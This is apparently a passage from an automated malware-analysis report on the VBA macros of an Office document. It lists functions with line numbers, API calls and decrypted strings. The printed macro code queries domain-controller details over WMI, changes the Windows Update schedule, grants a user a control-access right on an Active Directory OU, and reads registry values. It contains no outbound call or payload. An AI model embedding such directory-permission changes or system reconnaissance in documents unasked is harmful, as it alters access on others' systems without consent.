                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      2163

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      2164

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      2165

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      2166

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      2167

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      2168

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      2169

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      2170

                                                                                                                                                      Next

                                                                                                                                                      2174

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      2175

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      2177

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      2178

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      2180

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      2187

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      2189

                                                                                                                                                      strComputer = "."

                                                                                                                                                      2190

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      2193

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      2195

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      2196

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      2197

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      2198

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      2199

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      2200

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      2202

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      2204

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      2205

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      2206

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      2207

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      2208

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      2209

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      2210

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      2211

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      2212

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      2214

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      2216

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      2217

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      2218

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      2219

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      2220

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      2221

                                                                                                                                                      Next

                                                                                                                                                      2228

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      2229

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      2230

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      2231

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      2232

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      2234

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      2235

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      2236

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      2238

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      2240

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      2241

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      2242

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      2243

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      2244

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      2245

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      2246

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      2247

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      2249

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      2251

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      2252

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      2260

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      2262

                                                                                                                                                      strComputer = "."

                                                                                                                                                      2263

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      2266

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      2269

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      2270

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      2271

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      2272

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      2273

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      2274

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      2275

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      2276

                                                                                                                                                      Next

                                                                                                                                                      2280

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      2281

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      2283

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      2284

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      2286

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      2293

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      2295

                                                                                                                                                      strComputer = "."

                                                                                                                                                      2296

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      2299

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      2301

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      2302

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      2303

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      2304

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      2305

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      2306

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      2308

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      2310

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      2311

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      2312

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      2313

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      2314

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      2315

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      2316

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      2317

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      2318

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      2320

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      2322

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      2323

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      2324

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      2325

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      2326

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      2327

                                                                                                                                                      Next

                                                                                                                                                      2333

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      2334

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      2335

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      2336

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      2337

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      2339

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      2340

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      2341

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      2343

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      2345

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      2346

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      2347

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      2348

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      2349

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      2350

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      2351

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      2352

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      2354

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      2356

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      2357

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      2365

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      2367

                                                                                                                                                      strComputer = "."

                                                                                                                                                      2368

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      2371

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      2374

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      2375

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      2376

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      2377

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      2378

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      2379

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      2380

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      2381

                                                                                                                                                      Next

                                                                                                                                                      2385

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      2386

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      2388

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      2389

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      2391

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      2398

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      2400

                                                                                                                                                      strComputer = "."

                                                                                                                                                      2401

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      2404

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      2406

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      2407

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      2408

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      2409

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      2410

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      2411

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      2413

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      2415

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      2416

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      2417

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      2418

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      2419

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      2420

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      2421

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      2422

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      2423

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      2425

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      2427

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      2428

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      2429

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      2430

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      2431

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      2432

                                                                                                                                                      Next

                                                                                                                                                      2439

                                                                                                                                                      End Sub

                                                                                                                                                      Function charset, APIs: 18, Strings: 14, Number of lines: 21, Relevance: 57.771
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      Part of subcall function CheckValidUtf8@ThisDocument: CreateObject

                                                                                                                                                      Part of subcall function CheckValidUtf8@ThisDocument: Type

                                                                                                                                                      Part of subcall function CheckValidUtf8@ThisDocument: Open

                                                                                                                                                      Part of subcall function CheckValidUtf8@ThisDocument: LoadFromFile

                                                                                                                                                      Part of subcall function CheckValidUtf8@ThisDocument: Read

                                                                                                                                                      Part of subcall function CheckValidUtf8@ThisDocument: Close

                                                                                                                                                      Part of subcall function CheckValidUtf8@ThisDocument: LenB

                                                                                                                                                      Part of subcall function CheckValidUtf8@ThisDocument: AscB

                                                                                                                                                      Part of subcall function CheckValidUtf8@ThisDocument: MidB

                                                                                                                                                      CreateObject

                                                                                                                                                      Open

                                                                                                                                                      Type

                                                                                                                                                      LoadFromFile

                                                                                                                                                      Hex

                                                                                                                                                      AscB

                                                                                                                                                      Read

                                                                                                                                                      Close

                                                                                                                                                      RegRead

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      "utf-8"
                                                                                                                                                      "utf-8"
                                                                                                                                                      "ADODB.Stream"
                                                                                                                                                      "HKLM\SYSTEM\CurrentControlSet\Control\Nls\CodePage\ACP"
                                                                                                                                                      "Windows-"
                                                                                                                                                      "EF"
                                                                                                                                                      "utf-8"
                                                                                                                                                      "utf-8"
                                                                                                                                                      "FF"
                                                                                                                                                      "UTF-16-LE"
                                                                                                                                                      "UTF-16-LE"
                                                                                                                                                      "FE"
                                                                                                                                                      "UTF-16-BE"
                                                                                                                                                      "UTF-16-BE"
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      4159

                                                                                                                                                      Function charset(strFile)

                                                                                                                                                      4161

                                                                                                                                                      If CheckValidUtf8(strFile) Then

                                                                                                                                                      4162

                                                                                                                                                      charset = "utf-8"

                                                                                                                                                      4163

                                                                                                                                                      Exit Function

                                                                                                                                                      4164

                                                                                                                                                      Endif

                                                                                                                                                      4166

                                                                                                                                                      Set objStream = CreateObject("ADODB.Stream")

                                                                                                                                                      CreateObject

                                                                                                                                                      4167

                                                                                                                                                      objStream.Open

                                                                                                                                                      Open

                                                                                                                                                      4168

                                                                                                                                                      objStream.Type = 1

                                                                                                                                                      Type

                                                                                                                                                      4169

                                                                                                                                                      objStream.LoadFromFile strFile

                                                                                                                                                      LoadFromFile

                                                                                                                                                      4170

                                                                                                                                                      First = Hex(AscB(objStream.Read(1)))

                                                                                                                                                      Hex

                                                                                                                                                      AscB

                                                                                                                                                      Read

                                                                                                                                                      4171

                                                                                                                                                      objStream.Close

                                                                                                                                                      Close

                                                                                                                                                      4173

                                                                                                                                                      ch = "Windows-" & WshShell.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\Nls\CodePage\ACP")

                                                                                                                                                      RegRead

                                                                                                                                                      4174

                                                                                                                                                      If First = "EF" Then

                                                                                                                                                      4175

                                                                                                                                                      ch = "utf-8"

                                                                                                                                                      4176

                                                                                                                                                      Elseif First = "FF" Then

                                                                                                                                                      4177

                                                                                                                                                      ch = "UTF-16-LE"

                                                                                                                                                      4178

                                                                                                                                                      Elseif First = "FE" Then

                                                                                                                                                      4179

                                                                                                                                                      ch = "UTF-16-BE"

                                                                                                                                                      4180

                                                                                                                                                      Endif

                                                                                                                                                      4181

                                                                                                                                                      charset = ch

                                                                                                                                                      4182

                                                                                                                                                      End Function

                                                                                                                                                      Function CheckValidUtf8, APIs: 9, Strings: 1, Number of lines: 41, Relevance: 19.291
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      CreateObject

                                                                                                                                                      Type

                                                                                                                                                      Open

                                                                                                                                                      LoadFromFile

                                                                                                                                                      Read

                                                                                                                                                      Close

                                                                                                                                                      LenB

                                                                                                                                                      AscB

                                                                                                                                                      MidB

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      "ADODB.Stream"
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      4184

                                                                                                                                                      Function CheckValidUtf8(path)

                                                                                                                                                      4186

                                                                                                                                                      limit = - 1

                                                                                                                                                      4188

                                                                                                                                                      Set Stream = CreateObject("ADODB.Stream")

                                                                                                                                                      CreateObject

                                                                                                                                                      4189

                                                                                                                                                      Stream.Type = 1

                                                                                                                                                      Type

                                                                                                                                                      4190

                                                                                                                                                      Stream.Open

                                                                                                                                                      Open

                                                                                                                                                      4191

                                                                                                                                                      Stream.LoadFromFile path

                                                                                                                                                      LoadFromFile

                                                                                                                                                      4192

                                                                                                                                                      s = Stream.Read(limit)

                                                                                                                                                      Read

                                                                                                                                                      4193

                                                                                                                                                      Stream.Close

                                                                                                                                                      Close

                                                                                                                                                      4195

                                                                                                                                                      l = LenB(s)

                                                                                                                                                      LenB

                                                                                                                                                      4197

                                                                                                                                                      ret = True

                                                                                                                                                      4199

                                                                                                                                                      For i = 1 To l

                                                                                                                                                      4200

                                                                                                                                                      a = AscB(MidB(s, i, 1))

